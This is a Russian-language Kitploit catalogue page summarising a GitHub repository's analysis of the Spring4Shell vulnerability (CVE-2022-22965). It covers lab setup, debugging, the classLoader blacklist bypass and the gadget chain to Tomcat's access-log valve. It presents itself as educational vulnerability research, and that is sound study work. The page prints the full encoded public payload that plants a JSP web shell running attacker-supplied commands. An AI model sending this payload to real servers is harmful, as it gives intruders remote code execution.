Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-22965 — Углубленный технический анализ CVE-2022-22965 (Spring4Shell) с настройкой среды, пошаговым прохождением отладки и разбором цепочки эксплойта для образовательной лабораторной практики. | Kitploit
Инструменты/GitHubGitHub/khidottrivi/cve-2022-22965
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийОбучение и ОбразованиеЛаборатории и Практика
GitHubkhidottrivi/cve-2022-22965

CVE-2022-22965

Углубленный технический анализ CVE-2022-22965 (Spring4Shell) с настройкой среды, пошаговым прохождением отладки и разбором цепочки эксплойта для образовательной лабораторной практики.

Репозиторий
424 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Анализ CVE-2022-22965_Spring4Shell

Описание уязвимости

Spring4Shell — это название CVE, существующего в Spring Core фреймворка Spring Framework.

С оценкой CVSS 3.x 9.8 уязвимость классифицируется как имеющая наивысший уровень риска (critical). Эта уязвимость позволяет злоумышленнику удаленно выполнять эксплойт-код и контролировать уязвимый сервер.

Учитывая распространенность Spring Core в интернете и серьезность влияния Spring4Shell, эксперты оценивают эту уязвимость как не менее значительную, чем Log4shell.

Область воздействия

Spring4Shell затрагивает не все веб-приложения, использующие Spring Framework в интернете, а требует, чтобы веб-приложение обладало следующими характеристиками:

  • Приложение использует Spring Framework версии < 5.2, 5.2.0 – 5.2.19 или 5.3.0 - 5.3.17
  • Приложение использует одну из двух зависимостей: Spring-webmvc или Spring-webflux
  • Приложение использует Java с версией JDK >= 9
  • Приложение упаковано в виде традиционного Java web archive (файл .war) и развернуто в Tomcat (уязвимость не обнаружена в приложениях, запущенных с помощью Springboot)

Настройка среды

Моя среда настройки имеет следующие параметры:

  • Spring Framework 5.1.0
  • Spring-webmvc dependency 5.1.0
  • JDK 11.0.13 (я использую виртуальную машину Kali 2021.4a, и эта версия Java предустановлена)
  • Apache Tomcat 9.0.45
  • Создание среды, проекта с уязвимостью и настройка отладки с Intellij

    1. Установка Apache Tomcat

      Как указано выше, я использую Kali 2021.4a и Apache Tomcat 9.0.45. Если вы не знаете, как установить Apache Tomcat, и хотите установить его на Kali Linux, можете обратиться к этой ссылке.

      Примечание: Замените ссылку https://mirror.kiu.ac.ug/apache/tomcat/tomcat-9/v9.0.45/bin/apache-tomcat-9.0.45.tar.gz на https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.45/bin/apache-tomcat-9.0.45.tar.gz

    2. Выбор IDE

      Нам нужна IDE для написания кода проекта, упаковки проекта в файл .war и, что очень важно, для отладки. Я использую Intellij, вы можете использовать Eclipse или Netbeans и т.д. Главное, чтобы IDE поддерживала Java.

    3. Создание простого проекта, содержащего уязвимость

      Мой проект очень простой, состоит из:

      • модели HelloWorld.java

        Untitled

      • контроллера HelloWorldController.java

        Untitled

      • представления hello.jsp

        Untitled

    4. Сборка файла .war

      Чтобы упаковать проект, выполните: Build -> Build Artifacts -> helloworld:war -> Build.

      Дождитесь успешного завершения сборки. После этого в проекте появится папка out. Зайдите в ./out/artifacts/your_war_name/ и увидите файл your_war_name.war. Этот файл .war и есть скомпилированный и упакованный веб-проект, который можно развернуть на Java Servlet, таких как Apache Tomcat.

      Если Build Artifacts неактивен (не удается выполнить Build Artifacts), значит, для этого проекта еще не настроены Build Artifacts. Зайдите: File -> Project Structure -> Artifacts -> Удалите все существующие artifacts -> Add (знак +) -> Web Application: Exploded -> From Modules... -> OK (завершение создания Exploded) -> Add (знак +) -> Web Application: Archive -> For 'helloworld:war exploded' -> OK. Затем повторите Build Artifacts.

    5. Развертывание и настройка отладки

      • Развертывание

        Чтобы развернуть файл .war на Apache Tomcat, просто скопируйте его в папку /webapps внутри каталога Apache Tomcat (например, я копирую файл helloworld.war (переименовал для удобства) в /opt/tomcat/apache-tomcat-9.0.45/webapps/). Затем запустите сервер Tomcat одним из двух способов (для Linux):

        • /opt/tomcat/apache-tomcat-9.0.45/bin/catalina.sh start (приложение будет работать с правами пользователя, выполнившего команду; у меня это root)
        • sudo service tomcat start (приложение обычно работает с правами tomcat, зависит от того, как вы настроили сервис при установке Apache Tomcat)

        После развертывания перейдите по адресу http://localhost:8080/helloworld

      • Настройка отладки

        Чтобы настроить удаленную отладку Tomcat, выполните следующие действия:

        1. На сервере:

          • Откройте файл catalina.sh и замените значение localhost на IP-адрес виртуальной машины в параметре JPDA_ADDRESS

            Untitled

          • Перезапустите сервер Tomcat командой: /opt/tomcat/apache-tomcat-9.0.45/bin/catalina.sh jpda start. Теперь, помимо порта 8080 для HTTP-сервера, Tomcat откроет порт 8000 для подключения и отладки

          Примечание: В данном разделе отладки я выполняю запуск Intellij на Windows 10, а Tomcat — на виртуальной машине Kali, поэтому необходимо изменить JDPA_ADDRESS. Если вы настраиваете и Intellij, и Tomcat на одной машине, изменять не нужно.

        2. На стороне Intellij:

          • Перейдите в Run -> Edit Configurations... -> Add (знак +) -> Remote JVM Debug

          • Задайте имя -> измените Host и Port на IP и порт, которые вы указали в файле catalina.sh -> OK -> Shift + F9 (запуск отладки)

            Untitled

    Детальный анализ

    Сначала проанализирую проект, который использую для отладки. Как уже говорилось, этот проект состоит просто из:

    • Модели HelloWorld.java, где объект HelloWorld имеет два свойства: message (string) и person (string), а также геттеры и сеттеры (из-за такой простой структуры этот объект называется Plain Old Java Object — POJO). В проекте должен существовать POJO-класс — это необходимое условие для эксплуатации уязвимости Spring4Shell.
    • Контроллера HelloWorldController.java. В этом классе есть метод helloPost с входными параметрами: объект helloWorld (HelloWorld) и model (Model). В методе helloPost выполняется addAttribute для объекта model из значений свойств helloWorld (person и message) — второе условие для эксплуатации Spring4Shell: наличие контроллера, принимающего на вход POJO-объект.
    • Представления hello.jsp. В этом файле вызываются атрибуты model (отправленные из контроллера HelloWorldController.java) и отображаются пользователю.

    Приведу пример:

    Untitled

    Приложение извлекает информацию из параметров POST-запроса и создает объект helloWorld{"person":"Leo", "message":"Hi there"}. Этот объект helloWorld является входным параметром для метода helloPost. Приложение выполняет описанные выше действия, чтобы вернуть пользователю указанный ответ.

    Процесс преобразования параметров из тела POST-запроса в объект helloWorld полностью автоматизирован Spring. Как это работает и проверяет ли Spring входные параметры?

    Источник (Source) — класс CachedIntrospectionResults

    Этот снимок сделан во время отладки. Пример выполнен с телом запроса "class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT" (левая часть (стек вызовов) — (1), правая — (2)):

    Untitled

    В (1) я выделил важные моменты (смотрим снизу вверх). Spring выполняет applyPropertyValue для объекта helloWorld из параметров POST-запроса. Если параметры просто вида person=Leo&message=Hi%20there, Spring сможет найти, что ключ 'person' соответствует helloWorld.person, а 'message' — helloWorld.message.

    Но Spring также позволяет передавать объекты через HTTP-запрос (говорить "передать объект через HTTP" слишком громко, но суть такова). Предположим, что свойство person теперь не строка, а объект Person, который содержит два под-свойства: name (string) и age (int). Чтобы передать информацию об объекте Person на сервер, нужно отправить "person.name=Leo&person.age=23".

    Таким образом, формат параметров становится A.B.C.D… = X, а не просто A=X. Для обработки формата A.B.C.D… = X, например, параметра A.B.C = X, Spring делает следующее: преобразует его в getA.getB.setC(X).

    Я не буду объяснять, что такое getA, а просто приведу пример с телом запроса "person.name=Leo&person.age=23". Spring ищет в объекте helloWorld свойство person и метод getPerson. Если они есть, Spring вызывает helloWorld.getPerson(). Теперь Spring получает объект типа Person, назовем его person1. Затем Spring ищет в person1 свойство 'name' и метод setName (поскольку после 'name' стоит знак '='). Если они есть, Spring вызывает setName(Leo) для person1.

    Для person.age Spring не начинает поиск с начала, а использует уже полученные ранее объекты — в данном случае helloWorld и person1.

    После этих шагов на сервере будет объект helloWorld{person:{name:"Leo", age:23}} (временно опустим свойство message).

    Как Spring находит свойства каждого объекта, например, свойство 'person' объекта helloWorld?

    Обратите внимание на начало (1): есть функция CachedIntrospectionResults(beanClass), которая перечисляет свойства beanClass. В (2) видно, что когда beanClass = model.HelloWorld, возвращается 3 свойства. Между тем, созданная мной модель HelloWorld имеет только два свойства: 'person' и 'message'. Значит, функция вернула дополнительное свойство 'class', и если развернуть строку 'class', то тип свойства — 'java.lang.class'

    Таким образом, мы можем воздействовать на объект class типа java.lang.classclass — это и есть источник (source) Spring4shell.

    CVE-2010-1622

    С этим источником связана предыдущая уязвимость CVE-2010-1622. Ее автор эксплуатировал этот источник с помощью payload class.classLoader.URLs[0] = X.

    Поскольку в java.lang.class есть метод getClassLoader(), возвращающий объект ClassLoader, и этот ClassLoader может влиять на массив URLs Tomcat (используемый для загрузки ресурсов). Возможность воздействовать на URLs позволяет злоумышленнику изменить значение URLs[0] на URL-адрес для удаленного подключения к вредоносному JAR-файлу (контролируемому злоумышленником).

    Для исправления этой ошибки Spring реализовал фильтрацию (черный список) в функции CachedIntrospectionResults(beanClass):

    Untitled

    Если 'beanClass' == Class.class (java.lang.class), то pd должно отличаться от 'classLoader' и 'protectionDomain'. Доказательством служит то, что после загрузки всех свойств java.lang.class в CachedIntrospectionResults отсутствуют два свойства 'classLoader' и 'protectionDomain':

    Untitled

    Однако, начиная с JDK 9, Class.class получил дополнительное свойство 'module', и в Class.module есть свойство classLoader:

    Untitled

    → Таким образом, использование JDK 9 и выше позволяет обойти черный список Spring!!!

    Цель (Sink) — класс AccessLogValue

    Основываясь на публичном PoC уязвимости Spring4Shell, можно увидеть, что используемый payload имеет форму:

    class.module.classloader.resources.context.parent.pipeline.first ⇔ Class.getModule().getClassLoader().getResources().getContext().getParent().getPipeline().getFirst()

    На основе отладки можно увидеть следующую цепочку gadget:

    java.lang.class.getModule() -> java.lang.module.getClassLoader() -> org.apache.catalia.loader.ParallelWebappClassLoader.getResources() -> org.apache.catalia.webresources.StandardRoot.getContext() -> org.apache.catalia.core.StandardContext.getParent() -> org.apache.catalia.core.StandardHost.getPipeline() -> org.apache.catalia.core.StandardPipeline.getFirst() -> org.apache.catalia.valves.AccessLogValue.

    Класс AccessLogValue имеет следующие свойства:

    Untitled

    Мы можем вызвать объект AccessLogValue, и этот AccessLogValue влияет на запись логов Tomcat.

    → Мы можем создать файл на сервере, установив свойства объекта AccessLogValue на сервере Tomcat. Для этого в PoC они устанавливают свойства Prefix, Suffix, Pattern, Directory и fileDateFormat. Payload запроса будет следующим:

    "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

    • Список точек останова

      Для упрощения отладки вы можете установить точки останова в следующих местах:

      Untitled

    Заключение

    В данном анализе заключения по сути нет; этот раздел добавлен просто для вида!!!

    Если вы ищете способы устранения, то они здесь.

    Скачать инструмент